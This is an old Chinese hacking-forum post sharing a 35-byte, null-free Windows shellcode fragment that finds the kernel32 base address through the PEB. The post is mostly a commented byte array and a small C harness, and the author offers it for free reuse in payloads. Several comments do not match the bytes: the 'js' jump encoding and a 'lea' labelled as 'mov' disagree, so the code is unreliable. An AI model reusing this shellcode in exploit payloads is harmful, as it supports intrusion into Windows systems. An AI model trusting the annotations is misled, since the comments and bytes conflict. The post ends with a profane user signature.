‹‹ 上一主题 | 下一主题 ››
发新话题
打印

Windows 9x/NT/2k/XP PEB method 35 bytes

EvilOctal

团队执行官

Rank: 8Rank: 8

E.S.T社区执行帐号

帖子
9800 
精华
768 
积分
40153 
阅读权限
200 
性别
男 
在线时间
3967 小时 
注册时间
2004-7-4 
最后登录
2008-7-5 
楼主 大 中 小 发表于 2006-1-6 23:25  只看该作者

Windows 9x/NT/2k/XP PEB method 35 bytes

文章作者：www.4x10m.com
复制内容到剪贴板
代码:
/*This is a 35 byte C implementation of the use of the PEB method to get
*the kernel32 base address on Windows. This is generic code designed to
*run on both Windows 9x and NT based systems. The code has been optimized
*to not have any 00h bytes so that you wont have to use an XOR routine to
*encode the shellcode. I used relative jumps and xor tricks to avoid the
*00h bytes and make the code as small as I could get it. Feel free to use
*this source in anything that you want.
*/


/* 35 byte PEB method for Windows 9x/NT/2k/XP
*  0x00 byte optimized, no XOR routine required.
*
*  [url]www.4x10m.com[/url]
*  oc.192
*  irc.4x10m.net #4x10m
*/

unsigned char shellcode[] =
/*  35 byte PEB - 00h removal and size optimized  */
/*    22 - 24 total clock cycles on a x486    */
"\x31\xC0"            /* xor eax, eax     */
"\x31\xD2"            /* xor edx, edx     */
"\xB2\x30"            /* mov dl, 30h      */
"\x64\x8B\x02"          /* mov eax, [fs:edx]  */    /* PEB base address */
"\x85\xC0"            /* test eax, eax    */
"\x78\xC0"            /* js 0Ch         */
"\x8B\x40\x0C"          /* mov eax, [eax+0Ch] */    /* NT kernel32 routine */
"\x8B\x70\x1C"          /* mov esi, [eax+1Ch] */
"\xAD"               /* lodsd          */
"\x8B\x40\x08"          /* mov eax, [eax+08h] */
"\xEB\x07"            /* jmp short 09h    */
"\x8B\x40\x34"          /* mov eax, [eax+34h] */    /* 9x kernel32 routine */
"\x8D\x40\x7C"          /* lea eax, [eax+7Ch] */
"\x8D\x40\x3C"          /* mov eax, [eax+3Ch] */
;

int main(int argc, char *argv[]) {
    //void (*sc)() = (void *)shellcode;
    printf("len:%d\n", sizeof(shellcode));
    //sc();
    return 0;
}
曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题